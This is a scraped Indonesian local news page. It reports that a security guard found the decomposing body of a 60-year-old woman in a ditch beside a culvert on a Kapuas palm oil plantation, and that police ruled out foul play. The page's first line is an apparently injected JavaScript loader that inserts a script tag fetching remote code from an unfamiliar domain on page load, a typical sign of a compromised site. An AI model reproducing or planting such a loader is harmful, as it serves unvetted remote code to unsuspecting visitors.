(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Cek Aroma Tak Sedap, Ternyata Mayat Perempuan di Parit dekat Gorong-gorong


KANALKALIMANTAN. COM, KUALA KAPUAS – Penemuan mayat perempuan tua mengagetkan warga Kecamatan Kapuas Murung, Kabupaten Kapuas, Kalteng. Perempuan bernama Tumini (60), warga Desa Bumi Rahayu G4, Kecamatan Kapuas Murung, Kabupaten Kapuas.

Mayat perempuan tua itu ditemukan di tepi jalan dekat gorong-gorong, areal perkebunan kelapa sawit PT LAK di Desa Bumi Rahayu Kecamatan Kapuas Murung, Kabupaten Kapuas pada Senin (14/12/2020) oleh seorang security PT LAK. Pertama kali mayat perempuan itu ditemukan oleh Ilham (30) yang sedang melaksanakan patroli di kawasan perkebunan kelapa sawit, pada saat itu tercium aroma tidak sedap yang sangat menyengat, setelah mendatangi sumber bau tersebut, ditemukan mayat dengan keadaan bengkak dan mulai membusuk terapung di parit persis samping gorong-gorong.

“Waktu itu saya hendak pergi patroli. Saya mencium aroma tidak sedap, melihat ke arah semak-semak, ada perempuan di parit dalam posisi telungkup,” kata Ilham.

“Saya langsung melaporkan kejadian tersebut kepada kepala regu jaga,” kata Ilham. Oleh kepala regu jaga Misnari, kemudian menghubungi warga untuk meminta tolong melihat korban yang dalam posisi telungkup.
Belakangan diketahui perempuan itu disebut warga mengalami keterbelakangan mental.

 

“Salah satu warga menghubungi keluarga korban, kemudian selanjutnya memberitahukan kepada anak korban,” tuturnya.
Keterangan anak korban, bahwa korban hilang sejak Jumat 11desember 2020 lalu.

Penemuan mayat korban ini kemudian dilaporkan ke Polsek Kapuas Murung. Atas laporan tersebut, petugas kepolisian datang.

Kapolsek Kapuas Murung Iptu Jimin menjelaskan, petugas Polsek Kapuas Murung langsung bergerak ke lokasi begitu mendapat laporan. Petugas sudah melakukan olah TKP serta mengidentifikasi korban.

“Telah diketahui identitasnya, jenazah tidak perlu dilakukan proses visum, anak korban bersedia membuat surat pernyataan, mengingat korban meninggal bukan karena adanya unsur pidana,” jelas Iptu Jimin, Kapolsek Kapuas Murung. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.